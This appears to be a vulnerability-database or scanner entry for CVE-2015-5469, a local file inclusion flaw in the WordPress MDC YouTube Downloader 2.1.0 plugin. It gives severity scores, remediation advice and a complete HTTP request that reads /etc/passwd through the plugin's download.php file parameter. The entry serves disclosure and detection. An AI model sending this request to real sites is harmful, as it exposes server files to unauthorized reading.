| Title | WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | The vulnerability can lead to unauthorized access to sensitive files, execution of arbitrary code, and potential compromise of the entire WordPress installation. |
| Remediation | Update to the latest version of WordPress MDC YouTube Downloader plugin or apply the patch provided by the vendor. |
| CVSS Score | 7.5 |
| EPSS Score | 0.4911 |
| CVE ID | CVE-2015-5469 |
| CWE ID | CWE-22 |
| Tags | cve2015 cve wp lfi mdc_youtube_downloader_project wordpress vuln |
WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
GET /wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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